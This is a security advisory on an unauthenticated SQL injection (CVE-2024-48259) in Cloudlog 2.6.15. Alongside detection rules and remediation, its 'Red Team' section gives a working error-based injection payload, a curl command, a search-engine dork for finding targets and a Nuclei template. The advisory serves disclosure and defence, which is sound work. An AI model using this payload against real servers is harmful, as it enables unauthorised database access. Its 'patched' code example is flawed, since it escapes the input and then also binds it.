CVE-2024-48259

Executive Summary

CVE-2024-48259 is a critical unauthenticated SQL injection vulnerability in Cloudlog version 2.6.15, a popular amateur radio logging web application. The flaw resides in the oqrs.php file's request_form function, where user-supplied parameters station_id and callsign are not properly sanitized before being used in SQL queries. This allows a remote, unauthenticated attacker to inject arbitrary SQL commands, potentially leading to data theft, modification, or deletion. The vulnerability has a CVSS v3.1 base score of 7.3 (High) and is confirmed exploitable via a publicly available Nuclei template. No official patch has been released at the time of this report.

Supply Chain & Package Security

Cloudlog is a PHP-based web application distributed via GitHub. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the application's source code. Users should monitor the official GitHub repository for patch releases and consider manual input sanitization as a temporary measure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 7.3 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited data modification possible.
• Availability Impact: Low (A:L) – Limited service disruption possible.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and has a public proof-of-concept. An attacker can extract sensitive data, modify database contents, or cause denial of service.

Deep Dive & Mechanics

The vulnerability exists in the oqrs.php file, specifically in the request_form function. This function handles POST requests to /index.php/oqrs/request_form. The parameters station_id and callsign are directly concatenated into SQL queries without proper sanitization or parameterized statements.

Root Cause: The application uses string interpolation to build SQL queries, e.g.:

$query = "SELECT * FROM table WHERE station_id = " . $_POST['station_id'];

This allows an attacker to inject SQL syntax by providing crafted input.

Attack Flow:

1. An attacker sends a POST request to /index.php/oqrs/request_form with a malicious station_id parameter.
2. The injected SQL payload (e.g., 1 AND (SELECT ...)) is executed by the database.
3. The attacker can extract data via error-based or blind SQL injection techniques.

Example Payload (from Nuclei template):

station_id=1 AND (SELECT 2469 FROM(SELECT COUNT(*),CONCAT(0x7162716b71,md5('999999999'),0x7162716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

This payload uses a GROUP BY error-based technique to trigger a database error that includes the MD5 hash of a known number, confirming SQL injection.

Vulnerable vs. Patched Code

Vulnerable Code (Cloudlog 2.6.15):

// oqrs.php (simplified)
$station_id = $_POST['station_id'];
$query = "SELECT * FROM oqrs_requests WHERE station_id = $station_id";
$result = $this->db->query($query);

Patched Code (Hypothetical):

// oqrs.php (patched)
$station_id = $this->db->escape($_POST['station_id']);
$query = "SELECT * FROM oqrs_requests WHERE station_id = ?";
$result = $this->db->query($query, array($station_id));

The patched version uses parameterized queries (prepared statements) to prevent SQL injection. The escape() function or binding parameters ensures user input is treated as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running Cloudlog 2.6.15.
• Network access to the web interface.

Exploitation Steps:

1. Identify the target: Use Shodan or FOFA with the dork "Login - Cloudlog".
2. Send a crafted POST request using curl or Burp Suite:

   curl -X POST http://target/index.php/oqrs/request_form \
     -d "station_id=1 AND (SELECT 2469 FROM(SELECT COUNT(*),CONCAT(0x7162716b71,md5('999999999'),0x7162716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)"
   

3. Observe the response: If the server returns a 500 error with "A Database Error Occurred" and the MD5 hash 52c69e3a57331081823331c4e69d3b2e (MD5 of '999999999'), the injection is successful.
4. Extract data using error-based or UNION-based techniques.

Nuclei Template Usage:

nuclei -t CVE-2024-48259.yaml -u http://target

Blue Team (Defensive)

Detection:

• Monitor web server logs for POST requests to /index.php/oqrs/request_form containing SQL keywords (AND, OR, SELECT, UNION, etc.).
• Look for HTTP 500 errors with "A Database Error Occurred" in the response body.
• Use the provided YARA/Sigma rules to detect exploitation attempts.

Mitigation:

• Immediately apply input sanitization or parameterized queries to the oqrs.php file.
• If a patch is unavailable, consider disabling the OQRS functionality or restricting access via firewall rules.
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /index.php/oqrs/request_form with station_id or callsign parameters containing SQL syntax.
  • HTTP response status code 500 with body containing "A Database Error Occurred".
• File IOCs:
  • Modified database entries in the oqrs_requests table.
  • Unexpected error logs in the application's log directory.
• Behavioral IOCs:
  • Unusual database queries originating from the web server.
  • Increased error rates in the application.

Detection Engineering

YARA Rule

rule CVE_2024_48259_Cloudlog_SQLi {
    meta:
        description = "Detects SQL injection attempts against Cloudlog CVE-2024-48259"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-48259"
    strings:
        $sqli_pattern1 = /station_id=.*(AND|OR|SELECT|UNION|INSERT|UPDATE|DELETE|DROP|--|#)/ nocase
        $sqli_pattern2 = /callsign=.*(AND|OR|SELECT|UNION|INSERT|UPDATE|DELETE|DROP|--|#)/ nocase
        $error_msg = "A Database Error Occurred"
    condition:
        any of ($sqli_pattern*) and $error_msg
}

Sigma Rule

title: Cloudlog SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against Cloudlog CVE-2024-48259
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48259
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/index.php/oqrs/request_form'
        cs-uri-query|contains:
            - 'station_id='
            - 'callsign='
    keywords:
        - 'AND'
        - 'OR'
        - 'SELECT'
        - 'UNION'
        - 'INSERT'
        - 'UPDATE'
        - 'DELETE'
        - 'DROP'
        - '--'
        - '#'
    condition: selection and keywords
falsepositives:
    - Legitimate use of these keywords in callsigns (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-48259 Cloudlog SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/index.php/oqrs/request_form"; http_uri;
    content:"station_id="; http_client_body;
    pcre:"/(AND|OR|SELECT|UNION|INSERT|UPDATE|DELETE|DROP|--|#)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2024-48259;
    priority:1;
)

Nuclei Template (Provided)

id: CVE-2024-48259

info:
  name: Cloudlog - SQL Injection
  author: s4e-io
  severity: high
  description: |
    Cloudlog 2.6.15 contains a SQL injection caused by unsanitized input in oqrs.php request_form, letting attackers execute arbitrary SQL commands via station_id or callsign, exploit requires sending crafted request.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  remediation: |
    Update to the latest version of Cloudlog where this issue is fixed, or sanitize inputs properly.
  reference:
    - https://chiggerlor.substack.com/p/unauthenticated-sql-injection-in-9a3
    - https://github.com/magicbug/Cloudlog
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48259
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2024-48259
    epss-score: 0.01581
    epss-percentile: 0.81787
    cwe-id: CWE-89
    cpe: cpe:2.3:a:magicbug:cloudlog:2.6.15:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: magicbug
    product: cloudlog
    fofa-query: "Login - Cloudlog"
  tags: cve,cve2024,cloudlog,sqli,vuln,unauth

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /index.php/oqrs/request_form HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        station_id=1 AND (SELECT 2469 FROM(SELECT COUNT(*),CONCAT(0x7162716b71,md5({{num}}),0x7162716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "A Database Error Occurred", "{{md5({{num}})}}")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 500'
        condition: and
# digest: 490a004630440220435deea1e04ce8dc297958e8b5b1b7f22b746410e26948c8b0453bfc6c8d431702203bb9c6a1d57b2516d0c352d60f6d81d26f1873db7657bc5fe0313ff70f2f8f1d:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Disable OQRS functionality if not critical for operations.
2. Apply input sanitization to station_id and callsign parameters in oqrs.php (e.g., use intval() for numeric fields, addslashes() or prepared statements for strings).
3. Restrict access to the /index.php/oqrs/request_form endpoint via firewall or .htaccess rules.

Long-term Fix:

• Update to the latest version of Cloudlog once a patch is released.
• Implement parameterized queries (prepared statements) throughout the application.
• Conduct a full security audit of the codebase.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable detailed logging for web requests and database queries.
• Monitor for anomalous database errors.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert